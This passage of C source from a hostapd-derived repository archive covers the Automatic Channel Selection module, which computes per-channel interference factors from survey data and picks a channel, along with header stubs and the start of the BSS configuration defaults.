ACCOUNTING_H #ifdef CONFIG_NO_ACCOUNTING static inline int accounting_sta_get_id(struct hostapd_data *hapd, struct sta_info *sta) { return 0; } static inline void accounting_sta_start(struct hostapd_data *hapd, struct sta_info *sta) { } static inline void accounting_sta_stop(struct hostapd_data *hapd, struct sta_info *sta) { } static inline int accounting_init(struct hostapd_data *hapd) { return 0; } static inline void accounting_deinit(struct hostapd_data *hapd) { } #else /* CONFIG_NO_ACCOUNTING */ int accounting_sta_get_id(struct hostapd_data *hapd, struct sta_info *sta); void accounting_sta_start(struct hostapd_data *hapd, struct sta_info *sta); void accounting_sta_stop(struct hostapd_data *hapd, struct sta_info *sta); int accounting_init(struct hostapd_data *hapd); void accounting_deinit(struct hostapd_data *hapd); #endif /* CONFIG_NO_ACCOUNTING */ #endif /* ACCOUNTING_H */ wpa_sycophant-master/src/ap/acs.c000066400000000000000000000705541377436615100173570ustar00rootroot00000000000000/* * ACS - Automatic Channel Selection module * Copyright (c) 2011, Atheros Communications * Copyright (c) 2013, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include "utils/common.h" #include "utils/list.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "drivers/driver.h" #include "hostapd.h" #include "ap_drv_ops.h" #include "ap_config.h" #include "hw_features.h" #include "acs.h" /* * Automatic Channel Selection * =========================== * * More info at * ------------ * http://wireless.kernel.org/en/users/Documentation/acs * * How to use * ---------- * - make sure you have CONFIG_ACS=y in hostapd's .config * - use channel=0 or channel=acs to enable ACS * * How does it work * ---------------- * 1. passive scans are used to collect survey data * (it is assumed that scan trigger collection of survey data in driver) * 2. interference factor is calculated for each channel * 3. ideal channel is picked depending on channel width by using adjacent * channel interference factors * * Known limitations * ----------------- * - Current implementation depends heavily on the amount of time willing to * spend gathering survey data during hostapd startup. Short traffic bursts * may be missed and a suboptimal channel may be picked. * - Ideal channel may end up overlapping a channel with 40 MHz intolerant BSS * * Todo / Ideas * ------------ * - implement other interference computation methods * - BSS/RSSI based * - spectral scan based * (should be possibly to hook this up with current ACS scans) * - add wpa_supplicant support (for P2P) * - collect a histogram of interference over time allowing more educated * guess about an ideal channel (perhaps CSA could be used to migrate AP to a * new "better" channel while running) * - include neighboring BSS scan to avoid conflicts with 40 MHz intolerant BSSs * when choosing the ideal channel * * Survey interference factor implementation details * ------------------------------------------------- * Generic interference_factor in struct hostapd_channel_data is used. * * The survey interference factor is defined as the ratio of the * observed busy time over the time we spent on the channel, * this value is then amplified by the observed noise floor on * the channel in comparison to the lowest noise floor observed * on the entire band. * * This corresponds to: * --- * (busy time - tx time) / (active time - tx time) * 2^(chan_nf + band_min_nf) * --- * * The coefficient of 2 reflects the way power in "far-field" * radiation decreases as the square of distance from the antenna [1]. * What this does is it decreases the observed busy time ratio if the * noise observed was low but increases it if the noise was high, * proportionally to the way "far field" radiation changes over * distance. * * If channel busy time is not available the fallback is to use channel RX time. * * Since noise floor is in dBm it is necessary to convert it into Watts so that * combined channel interference (e.g., HT40, which uses two channels) can be * calculated easily. * --- * (busy time - tx time) / (active time - tx time) * * 2^(10^(chan_nf/10) + 10^(band_min_nf/10)) * --- * * However to account for cases where busy/rx time is 0 (channel load is then * 0%) channel noise floor signal power is combined into the equation so a * channel with lower noise floor is preferred. The equation becomes: * --- * 10^(chan_nf/5) + (busy time - tx time) / (active time - tx time) * * 2^(10^(chan_nf/10) + 10^(band_min_nf/10)) * --- * * All this "interference factor" is purely subjective and only time * will tell how usable this is. By using the minimum noise floor we * remove any possible issues due to card calibration. The computation * of the interference factor then is dependent on what the card itself * picks up as the minimum noise, not an actual real possible card * noise value. * * Total interference computation details * -------------------------------------- * The above channel interference factor is calculated with no respect to * target operational bandwidth. * * To find an ideal channel the above data is combined by taking into account * the target operational bandwidth and selected band. E.g., on 2.4 GHz channels * overlap with 20 MHz bandwidth, but there is no overlap for 20 MHz bandwidth * on 5 GHz. * * Each valid and possible channel spec (i.e., channel + width) is taken and its * interference factor is computed by summing up interferences of each channel * it overlaps. The one with least total interference is picked up. * * Note: This implies base channel interference factor must be non-negative * allowing easy summing up. * * Example ACS analysis printout * ----------------------------- * * ACS: Trying survey-based ACS * ACS: Survey analysis for channel 1 (2412 MHz) * ACS: 1: min_nf=-113 interference_factor=0.0802469 nf=-113 time=162 busy=0 rx=13 * ACS: 2: min_nf=-113 interference_factor=0.0745342 nf=-113 time=161 busy=0 rx=12 * ACS: 3: min_nf=-113 interference_factor=0.0679012 nf=-113 time=162 busy=0 rx=11 * ACS: 4: min_nf=-113 interference_factor=0.0310559 nf=-113 time=161 busy=0 rx=5 * ACS: 5: min_nf=-113 interference_factor=0.0248447 nf=-113 time=161 busy=0 rx=4 * ACS: * interference factor average: 0.0557166 * ACS: Survey analysis for channel 2 (2417 MHz) * ACS: 1: min_nf=-113 interference_factor=0.0185185 nf=-113 time=162 busy=0 rx=3 * ACS: 2: min_nf=-113 interference_factor=0.0246914 nf=-113 time=162 busy=0 rx=4 * ACS: 3: min_nf=-113 interference_factor=0.037037 nf=-113 time=162 busy=0 rx=6 * ACS: 4: min_nf=-113 interference_factor=0.149068 nf=-113 time=161 busy=0 rx=24 * ACS: 5: min_nf=-113 interference_factor=0.0248447 nf=-113 time=161 busy=0 rx=4 * ACS: * interference factor average: 0.050832 * ACS: Survey analysis for channel 3 (2422 MHz) * ACS: 1: min_nf=-113 interference_factor=2.51189e-23 nf=-113 time=162 busy=0 rx=0 * ACS: 2: min_nf=-113 interference_factor=0.0185185 nf=-113 time=162 busy=0 rx=3 * ACS: 3: min_nf=-113 interference_factor=0.0186335 nf=-113 time=161 busy=0 rx=3 * ACS: 4: min_nf=-113 interference_factor=0.0186335 nf=-113 time=161 busy=0 rx=3 * ACS: 5: min_nf=-113 interference_factor=0.0186335 nf=-113 time=161 busy=0 rx=3 * ACS: * interference factor average: 0.0148838 * ACS: Survey analysis for channel 4 (2427 MHz) * ACS: 1: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 * ACS: 2: min_nf=-114 interference_factor=0.0555556 nf=-114 time=162 busy=0 rx=9 * ACS: 3: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=161 busy=0 rx=0 * ACS: 4: min_nf=-114 interference_factor=0.0186335 nf=-114 time=161 busy=0 rx=3 * ACS: 5: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 * ACS: * interference factor average: 0.0160801 * ACS: Survey analysis for channel 5 (2432 MHz) * ACS: 1: min_nf=-114 interference_factor=0.409938 nf=-113 time=161 busy=0 rx=66 * ACS: 2: min_nf=-114 interference_factor=0.0432099 nf=-113 time=162 busy=0 rx=7 * ACS: 3: min_nf=-114 interference_factor=0.0124224 nf=-113 time=161 busy=0 rx=2 * ACS: 4: min_nf=-114 interference_factor=0.677019 nf=-113 time=161 busy=0 rx=109 * ACS: 5: min_nf=-114 interference_factor=0.0186335 nf=-114 time=161 busy=0 rx=3 * ACS: * interference factor average: 0.232244 * ACS: Survey analysis for channel 6 (2437 MHz) * ACS: 1: min_nf=-113 interference_factor=0.552795 nf=-113 time=161 busy=0 rx=89 * ACS: 2: min_nf=-113 interference_factor=0.0807453 nf=-112 time=161 busy=0 rx=13 * ACS: 3: min_nf=-113 interference_factor=0.0310559 nf=-113 time=161 busy=0 rx=5 * ACS: 4: min_nf=-113 interference_factor=0.434783 nf=-112 time=161 busy=0 rx=70 * ACS: 5: min_nf=-113 interference_factor=0.0621118 nf=-113 time=161 busy=0 rx=10 * ACS: * interference factor average: 0.232298 * ACS: Survey analysis for channel 7 (2442 MHz) * ACS: 1: min_nf=-113 interference_factor=0.440994 nf=-112 time=161 busy=0 rx=71 * ACS: 2: min_nf=-113 interference_factor=0.385093 nf=-113 time=161 busy=0 rx=62 * ACS: 3: min_nf=-113 interference_factor=0.0372671 nf=-113 time=161 busy=0 rx=6 * ACS: 4: min_nf=-113 interference_factor=0.0372671 nf=-113 time=161 busy=0 rx=6 * ACS: 5: min_nf=-113 interference_factor=0.0745342 nf=-113 time=161 busy=0 rx=12 * ACS: * interference factor average: 0.195031 * ACS: Survey analysis for channel 8 (2447 MHz) * ACS: 1: min_nf=-114 interference_factor=0.0496894 nf=-112 time=161 busy=0 rx=8 * ACS: 2: min_nf=-114 interference_factor=0.0496894 nf=-114 time=161 busy=0 rx=8 * ACS: 3: min_nf=-114 interference_factor=0.0372671 nf=-113 time=161 busy=0 rx=6 * ACS: 4: min_nf=-114 interference_factor=0.12963 nf=-113 time=162 busy=0 rx=21 * ACS: 5: min_nf=-114 interference_factor=0.166667 nf=-114 time=162 busy=0 rx=27 * ACS: * interference factor average: 0.0865885 * ACS: Survey analysis for channel 9 (2452 MHz) * ACS: 1: min_nf=-114 interference_factor=0.0124224 nf=-114 time=161 busy=0 rx=2 * ACS: 2: min_nf=-114 interference_factor=0.0310559 nf=-114 time=161 busy=0 rx=5 * ACS: 3: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=161 busy=0 rx=0 * ACS: 4: min_nf=-114 interference_factor=0.00617284 nf=-114 time=162 busy=0 rx=1 * ACS: 5: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 * ACS: * interference factor average: 0.00993022 * ACS: Survey analysis for channel 10 (2457 MHz) * ACS: 1: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 * ACS: 2: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 * ACS: 3: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 * ACS: 4: min_nf=-114 interference_factor=0.0493827 nf=-114 time=162 busy=0 rx=8 * ACS: 5: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 * ACS: * interference factor average: 0.0136033 * ACS: Survey analysis for channel 11 (2462 MHz) * ACS: 1: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=161 busy=0 rx=0 * ACS: 2: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=161 busy=0 rx=0 * ACS: 3: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=161 busy=0 rx=0 * ACS: 4: min_nf=-114 interference_factor=0.0432099 nf=-114 time=162 busy=0 rx=7 * ACS: 5: min_nf=-114 interference_factor=0.0925926 nf=-114 time=162 busy=0 rx=15 * ACS: * interference factor average: 0.0271605 * ACS: Survey analysis for channel 12 (2467 MHz) * ACS: 1: min_nf=-114 interference_factor=0.0621118 nf=-113 time=161 busy=0 rx=10 * ACS: 2: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 * ACS: 3: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=162 busy=0 rx=0 * ACS: 4: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=162 busy=0 rx=0 * ACS: 5: min_nf=-114 interference_factor=0.00617284 nf=-113 time=162 busy=0 rx=1 * ACS: * interference factor average: 0.0148992 * ACS: Survey analysis for channel 13 (2472 MHz) * ACS: 1: min_nf=-114 interference_factor=0.0745342 nf=-114 time=161 busy=0 rx=12 * ACS: 2: min_nf=-114 interference_factor=0.0555556 nf=-114 time=162 busy=0 rx=9 * ACS: 3: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 * ACS: 4: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 * ACS: 5: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 * ACS: * interference factor average: 0.0260179 * ACS: Survey analysis for selected bandwidth 20MHz * ACS: * channel 1: total interference = 0.121432 * ACS: * channel 2: total interference = 0.137512 * ACS: * channel 3: total interference = 0.369757 * ACS: * channel 4: total interference = 0.546338 * ACS: * channel 5: total interference = 0.690538 * ACS: * channel 6: total interference = 0.762242 * ACS: * channel 7: total interference = 0.756092 * ACS: * channel 8: total interference = 0.537451 * ACS: * channel 9: total interference = 0.332313 * ACS: * channel 10: total interference = 0.152182 * ACS: * channel 11: total interference = 0.0916111 * ACS: * channel 12: total interference = 0.0816809 * ACS: * channel 13: total interference = 0.0680776 * ACS: Ideal channel is 13 (2472 MHz) with total interference factor of 0.0680776 * * [1] http://en.wikipedia.org/wiki/Near_and_far_field */ static int acs_request_scan(struct hostapd_iface *iface); static int acs_survey_is_sufficient(struct freq_survey *survey); static void acs_clean_chan_surveys(struct hostapd_channel_data *chan) { struct freq_survey *survey, *tmp; if (dl_list_empty(&chan->survey_list)) return; dl_list_for_each_safe(survey, tmp, &chan->survey_list, struct freq_survey, list) { dl_list_del(&survey->list); os_free(survey); } } void acs_cleanup(struct hostapd_iface *iface) { int i; struct hostapd_channel_data *chan; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_SURVEY_LIST_INITIALIZED) acs_clean_chan_surveys(chan); dl_list_init(&chan->survey_list); chan->flag |= HOSTAPD_CHAN_SURVEY_LIST_INITIALIZED; chan->min_nf = 0; } iface->chans_surveyed = 0; iface->acs_num_completed_scans = 0; } static void acs_fail(struct hostapd_iface *iface) { wpa_printf(MSG_ERROR, "ACS: Failed to start"); acs_cleanup(iface); hostapd_disable_iface(iface); } static long double acs_survey_interference_factor(struct freq_survey *survey, s8 min_nf) { long double factor, busy, total; if (survey->filled & SURVEY_HAS_CHAN_TIME_BUSY) busy = survey->channel_time_busy; else if (survey->filled & SURVEY_HAS_CHAN_TIME_RX) busy = survey->channel_time_rx; else { /* This shouldn't really happen as survey data is checked in * acs_sanity_check() */ wpa_printf(MSG_ERROR, "ACS: Survey data missing"); return 0; } total = survey->channel_time; if (survey->filled & SURVEY_HAS_CHAN_TIME_TX) { busy -= survey->channel_time_tx; total -= survey->channel_time_tx; } /* TODO: figure out the best multiplier for noise floor base */ factor = pow(10, survey->nf / 5.0L) + (total ? (busy / total) : 0) * pow(2, pow(10, (long double) survey->nf / 10.0L) - pow(10, (long double) min_nf / 10.0L)); return factor; } static void acs_survey_chan_interference_factor(struct hostapd_iface *iface, struct hostapd_channel_data *chan) { struct freq_survey *survey; unsigned int i = 0; long double int_factor = 0; unsigned count = 0; if (dl_list_empty(&chan->survey_list) || (chan->flag & HOSTAPD_CHAN_DISABLED)) return; chan->interference_factor = 0; dl_list_for_each(survey, &chan->survey_list, struct freq_survey, list) { i++; if (!acs_survey_is_sufficient(survey)) { wpa_printf(MSG_DEBUG, "ACS: %d: insufficient data", i); continue; } count++; int_factor = acs_survey_interference_factor(survey, iface->lowest_nf); chan->interference_factor += int_factor; wpa_printf(MSG_DEBUG, "ACS: %d: min_nf=%d interference_factor=%Lg nf=%d time=%lu busy=%lu rx=%lu", i, chan->min_nf, int_factor, survey->nf, (unsigned long) survey->channel_time, (unsigned long) survey->channel_time_busy, (unsigned long) survey->channel_time_rx); } if (count) chan->interference_factor /= count; } static int acs_usable_ht40_chan(struct hostapd_channel_data *chan) { const int allowed[] = { 36, 44, 52, 60, 100, 108, 116, 124, 132, 149, 157, 184, 192 }; unsigned int i; for (i = 0; i < ARRAY_SIZE(allowed); i++) if (chan->chan == allowed[i]) return 1; return 0; } static int acs_usable_vht80_chan(struct hostapd_channel_data *chan) { const int allowed[] = { 36, 52, 100, 116, 132, 149 }; unsigned int i; for (i = 0; i < ARRAY_SIZE(allowed); i++) if (chan->chan == allowed[i]) return 1; return 0; } static int acs_survey_is_sufficient(struct freq_survey *survey) { if (!(survey->filled & SURVEY_HAS_NF)) { wpa_printf(MSG_INFO, "ACS: Survey is missing noise floor"); return 0; } if (!(survey->filled & SURVEY_HAS_CHAN_TIME)) { wpa_printf(MSG_INFO, "ACS: Survey is missing channel time"); return 0; } if (!(survey->filled & SURVEY_HAS_CHAN_TIME_BUSY) && !(survey->filled & SURVEY_HAS_CHAN_TIME_RX)) { wpa_printf(MSG_INFO, "ACS: Survey is missing RX and busy time (at least one is required)"); return 0; } return 1; } static int acs_survey_list_is_sufficient(struct hostapd_channel_data *chan) { struct freq_survey *survey; int ret = -1; dl_list_for_each(survey, &chan->survey_list, struct freq_survey, list) { if (acs_survey_is_sufficient(survey)) { ret = 1; break; } ret = 0; } if (ret == -1) ret = 1; /* no survey list entries */ if (!ret) { wpa_printf(MSG_INFO, "ACS: Channel %d has insufficient survey data", chan->chan); } return ret; } static int acs_surveys_are_sufficient(struct hostapd_iface *iface) { int i; struct hostapd_channel_data *chan; int valid = 0; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (!(chan->flag & HOSTAPD_CHAN_DISABLED) && acs_survey_list_is_sufficient(chan)) valid++; } /* We need at least survey data for one channel */ return !!valid; } static int acs_usable_chan(struct hostapd_channel_data *chan) { return !dl_list_empty(&chan->survey_list) && !(chan->flag & HOSTAPD_CHAN_DISABLED) && acs_survey_list_is_sufficient(chan); } static int is_in_chanlist(struct hostapd_iface *iface, struct hostapd_channel_data *chan) { if (!iface->conf->acs_ch_list.num) return 1; return freq_range_list_includes(&iface->conf->acs_ch_list, chan->chan); } static void acs_survey_all_chans_intereference_factor( struct hostapd_iface *iface) { int i; struct hostapd_channel_data *chan; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (!acs_usable_chan(chan)) continue; if (!is_in_chanlist(iface, chan)) continue; wpa_printf(MSG_DEBUG, "ACS: Survey analysis for channel %d (%d MHz)", chan->chan, chan->freq); acs_survey_chan_interference_factor(iface, chan); wpa_printf(MSG_DEBUG, "ACS: * interference factor average: %Lg", chan->interference_factor); } } static struct hostapd_channel_data *acs_find_chan(struct hostapd_iface *iface, int freq) { struct hostapd_channel_data *chan; int i; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; if (chan->freq == freq) return chan; } return NULL; } static int is_24ghz_mode(enum hostapd_hw_mode mode) { return mode == HOSTAPD_MODE_IEEE80211B || mode == HOSTAPD_MODE_IEEE80211G; } static int is_common_24ghz_chan(int chan) { return chan == 1 || chan == 6 || chan == 11; } #ifndef ACS_ADJ_WEIGHT #define ACS_ADJ_WEIGHT 0.85 #endif /* ACS_ADJ_WEIGHT */ #ifndef ACS_NEXT_ADJ_WEIGHT #define ACS_NEXT_ADJ_WEIGHT 0.55 #endif /* ACS_NEXT_ADJ_WEIGHT */ #ifndef ACS_24GHZ_PREFER_1_6_11 /* * Select commonly used channels 1, 6, 11 by default even if a neighboring * channel has a smaller interference factor as long as it is not better by more * than this multiplier. */ #define ACS_24GHZ_PREFER_1_6_11 0.8 #endif /* ACS_24GHZ_PREFER_1_6_11 */ /* * At this point it's assumed chan->interface_factor has been computed. * This function should be reusable regardless of interference computation * option (survey, BSS, spectral, ...). chan->interference factor must be * summable (i.e., must be always greater than zero). */ static struct hostapd_channel_data * acs_find_ideal_chan(struct hostapd_iface *iface) { struct hostapd_channel_data *chan, *adj_chan, *ideal_chan = NULL, *rand_chan = NULL; long double factor, ideal_factor = 0; int i, j; int n_chans = 1; unsigned int k; /* TODO: HT40- support */ if (iface->conf->ieee80211n && iface->conf->secondary_channel == -1) { wpa_printf(MSG_ERROR, "ACS: HT40- is not supported yet. Please try HT40+"); return NULL; } if (iface->conf->ieee80211n && iface->conf->secondary_channel) n_chans = 2; if (iface->conf->ieee80211ac && iface->conf->vht_oper_chwidth == 1) n_chans = 4; /* TODO: VHT80+80, VHT160. Update acs_adjust_vht_center_freq() too. */ wpa_printf(MSG_DEBUG, "ACS: Survey analysis for selected bandwidth %d MHz", n_chans == 1 ? 20 : n_chans == 2 ? 40 : 80); for (i = 0; i < iface->current_mode->num_channels; i++) { double total_weight; struct acs_bias *bias, tmp_bias; chan = &iface->current_mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; if (!is_in_chanlist(iface, chan)) continue; /* HT40 on 5 GHz has a limited set of primary channels as per * 11n Annex J */ if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211A && iface->conf->ieee80211n && iface->conf->secondary_channel && !acs_usable_ht40_chan(chan)) { wpa_printf(MSG_DEBUG, "ACS: Channel %d: not allowed as primary channel for HT40", chan->chan); continue; } if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211A && iface->conf->ieee80211ac && iface->conf->vht_oper_chwidth == 1 && !acs_usable_vht80_chan(chan)) { wpa_printf(MSG_DEBUG, "ACS: Channel %d: not allowed as primary channel for VHT80", chan->chan); continue; } factor = 0; if (acs_usable_chan(chan)) factor = chan->interference_factor; total_weight = 1; for (j = 1; j < n_chans; j++) { adj_chan = acs_find_chan(iface, chan->freq + (j * 20)); if (!adj_chan) break; if (acs_usable_chan(adj_chan)) { factor += adj_chan->interference_factor; total_weight += 1; } } if (j != n_chans) { wpa_printf(MSG_DEBUG, "ACS: Channel %d: not enough bandwidth", chan->chan); continue; } /* 2.4 GHz has overlapping 20 MHz channels. Include adjacent * channel interference factor. */ if (is_24ghz_mode(iface->current_mode->mode)) { for (j = 0; j < n_chans; j++) { adj_chan = acs_find_chan(iface, chan->freq + (j * 20) - 5); if (adj_chan && acs_usable_chan(adj_chan)) { factor += ACS_ADJ_WEIGHT * adj_chan->interference_factor; total_weight += ACS_ADJ_WEIGHT; } adj_chan = acs_find_chan(iface, chan->freq + (j * 20) - 10); if (adj_chan && acs_usable_chan(adj_chan)) { factor += ACS_NEXT_ADJ_WEIGHT * adj_chan->interference_factor; total_weight += ACS_NEXT_ADJ_WEIGHT; } adj_chan = acs_find_chan(iface, chan->freq + (j * 20) + 5); if (adj_chan && acs_usable_chan(adj_chan)) { factor += ACS_ADJ_WEIGHT * adj_chan->interference_factor; total_weight += ACS_ADJ_WEIGHT; } adj_chan = acs_find_chan(iface, chan->freq + (j * 20) + 10); if (adj_chan && acs_usable_chan(adj_chan)) { factor += ACS_NEXT_ADJ_WEIGHT * adj_chan->interference_factor; total_weight += ACS_NEXT_ADJ_WEIGHT; } } } factor /= total_weight; bias = NULL; if (iface->conf->acs_chan_bias) { for (k = 0; k < iface->conf->num_acs_chan_bias; k++) { bias = &iface->conf->acs_chan_bias[k]; if (bias->channel == chan->chan) break; bias = NULL; } } else if (is_24ghz_mode(iface->current_mode->mode) && is_common_24ghz_chan(chan->chan)) { tmp_bias.channel = chan->chan; tmp_bias.bias = ACS_24GHZ_PREFER_1_6_11; bias = &tmp_bias; } if (bias) { factor *= bias->bias; wpa_printf(MSG_DEBUG, "ACS: * channel %d: total interference = %Lg (%f bias)", chan->chan, factor, bias->bias); } else { wpa_printf(MSG_DEBUG, "ACS: * channel %d: total interference = %Lg", chan->chan, factor); } if (acs_usable_chan(chan) && (!ideal_chan || factor < ideal_factor)) { ideal_factor = factor; ideal_chan = chan; } /* This channel would at least be usable */ if (!rand_chan) rand_chan = chan; } if (ideal_chan) { wpa_printf(MSG_DEBUG, "ACS: Ideal channel is %d (%d MHz) with total interference factor of %Lg", ideal_chan->chan, ideal_chan->freq, ideal_factor); return ideal_chan; } return rand_chan; } static void acs_adjust_vht_center_freq(struct hostapd_iface *iface) { int offset; wpa_printf(MSG_DEBUG, "ACS: Adjusting VHT center frequency"); switch (iface->conf->vht_oper_chwidth) { case VHT_CHANWIDTH_USE_HT: offset = 2 * iface->conf->secondary_channel; break; case VHT_CHANWIDTH_80MHZ: offset = 6; break; default: /* TODO: How can this be calculated? Adjust * acs_find_ideal_chan() */ wpa_printf(MSG_INFO, "ACS: Only VHT20/40/80 is supported now"); return; } iface->conf->vht_oper_centr_freq_seg0_idx = iface->conf->channel + offset; } static int acs_study_survey_based(struct hostapd_iface *iface) { wpa_printf(MSG_DEBUG, "ACS: Trying survey-based ACS"); if (!iface->chans_surveyed) { wpa_printf(MSG_ERROR, "ACS: Unable to collect survey data"); return -1; } if (!acs_surveys_are_sufficient(iface)) { wpa_printf(MSG_ERROR, "ACS: Surveys have insufficient data"); return -1; } acs_survey_all_chans_intereference_factor(iface); return 0; } static int acs_study_options(struct hostapd_iface *iface) { if (acs_study_survey_based(iface) == 0) return 0; /* TODO: If no surveys are available/sufficient this is a good * place to fallback to BSS-based ACS */ return -1; } static void acs_study(struct hostapd_iface *iface) { struct hostapd_channel_data *ideal_chan; int err; err = acs_study_options(iface); if (err < 0) { wpa_printf(MSG_ERROR, "ACS: All study options have failed"); goto fail; } ideal_chan = acs_find_ideal_chan(iface); if (!ideal_chan) { wpa_printf(MSG_ERROR, "ACS: Failed to compute ideal channel"); err = -1; goto fail; } iface->conf->channel = ideal_chan->chan; if (iface->conf->ieee80211ac) acs_adjust_vht_center_freq(iface); err = 0; fail: /* * hostapd_setup_interface_complete() will return -1 on failure, * 0 on success and 0 is HOSTAPD_CHAN_VALID :) */ if (hostapd_acs_completed(iface, err) == HOSTAPD_CHAN_VALID) { acs_cleanup(iface); return; } /* This can possibly happen if channel parameters (secondary * channel, center frequencies) are misconfigured */ wpa_printf(MSG_ERROR, "ACS: Possibly channel configuration is invalid, please report this along with your config file."); acs_fail(iface); } static void acs_scan_complete(struct hostapd_iface *iface) { int err; iface->scan_cb = NULL; wpa_printf(MSG_DEBUG, "ACS: Using survey based algorithm (acs_num_scans=%d)", iface->conf->acs_num_scans); err = hostapd_drv_get_survey(iface->bss[0], 0); if (err) { wpa_printf(MSG_ERROR, "ACS: Failed to get survey data"); goto fail; } if (++iface->acs_num_completed_scans < iface->conf->acs_num_scans) { err = acs_request_scan(iface); if (err) { wpa_printf(MSG_ERROR, "ACS: Failed to request scan"); goto fail; } return; } acs_study(iface); return; fail: hostapd_acs_completed(iface, 1); acs_fail(iface); } static int acs_request_scan(struct hostapd_iface *iface) { struct wpa_driver_scan_params params; struct hostapd_channel_data *chan; int i, *freq; os_memset(¶ms, 0, sizeof(params)); params.freqs = os_calloc(iface->current_mode->num_channels + 1, sizeof(params.freqs[0])); if (params.freqs == NULL) return -1; freq = params.freqs; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; if (!is_in_chanlist(iface, chan)) continue; *freq++ = chan->freq; } *freq = 0; iface->scan_cb = acs_scan_complete; wpa_printf(MSG_DEBUG, "ACS: Scanning %d / %d", iface->acs_num_completed_scans + 1, iface->conf->acs_num_scans); if (hostapd_driver_scan(iface->bss[0], ¶ms) < 0) { wpa_printf(MSG_ERROR, "ACS: Failed to request initial scan"); acs_cleanup(iface); os_free(params.freqs); return -1; } os_free(params.freqs); return 0; } enum hostapd_chan_status acs_init(struct hostapd_iface *iface) { wpa_printf(MSG_INFO, "ACS: Automatic channel selection started, this may take a bit"); if (iface->drv_flags & WPA_DRIVER_FLAGS_ACS_OFFLOAD) { wpa_printf(MSG_INFO, "ACS: Offloading to driver"); if (hostapd_drv_do_acs(iface->bss[0])) return HOSTAPD_CHAN_INVALID; return HOSTAPD_CHAN_ACS; } if (!iface->current_mode) return HOSTAPD_CHAN_INVALID; acs_cleanup(iface); if (acs_request_scan(iface) < 0) return HOSTAPD_CHAN_INVALID; hostapd_set_state(iface, HAPD_IFACE_ACS); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_STARTED); return HOSTAPD_CHAN_ACS; } wpa_sycophant-master/src/ap/acs.h000066400000000000000000000013741377436615100173560ustar00rootroot00000000000000/* * ACS - Automatic Channel Selection module * Copyright (c) 2011, Atheros Communications * Copyright (c) 2013, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef ACS_H #define ACS_H #ifdef CONFIG_ACS enum hostapd_chan_status acs_init(struct hostapd_iface *iface); void acs_cleanup(struct hostapd_iface *iface); #else /* CONFIG_ACS */ static inline enum hostapd_chan_status acs_init(struct hostapd_iface *iface) { wpa_printf(MSG_ERROR, "ACS was disabled on your build, rebuild hostapd with CONFIG_ACS=y or set channel"); return HOSTAPD_CHAN_INVALID; } static inline void acs_cleanup(struct hostapd_iface *iface) { } #endif /* CONFIG_ACS */ #endif /* ACS_H */ wpa_sycophant-master/src/ap/ap_config.c000066400000000000000000000707671377436615100205440ustar00rootroot00000000000000/* * hostapd / Configuration helper functions * Copyright (c) 2003-2014, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "radius/radius_client.h" #include "common/ieee802_11_defs.h" #include "common/eapol_common.h" #include "common/dhcp.h" #include "eap_common/eap_wsc_common.h" #include "eap_server/eap.h" #include "wpa_auth.h" #include "sta_info.h" #include "ap_config.h" static void hostapd_config_free_vlan(struct hostapd_bss_config *bss) { struct hostapd_vlan *vlan, *prev; vlan = bss->vlan; prev = NULL; while (vlan) { prev = vlan; vlan = vlan->next; os_free(prev); } bss->vlan = NULL; } #ifndef DEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES #define DEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES 0 #endif /* DEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES */ void hostapd_config_defaults_bss(struct hostapd_bss_config *bss) { dl_list_init(&bss->anqp_elem); bss->logger_syslog_level = HOSTAPD_LEVEL_INFO; bss->logger_stdout_level = HOSTAPD_LEVEL_INFO; bss->logger_syslog = (unsigned int) -1; bss->logger_stdout = (unsigned int) -1; bss->auth_algs = WPA_AUTH_ALG_OPEN | WPA_AUTH_ALG_SHARED; bss->wep_rekeying_period = 300; /* use key0 in individual key and key1 in broadcast key */ bss->broadcast_key_idx_min = 1; bss->broadcast_key_idx_max = 2; bss->eap_reauth_period = 3600; bss->wpa_group_rekey = 600; bss->wpa_gmk_rekey = 86400; bss->wpa_group_update_count = 4; 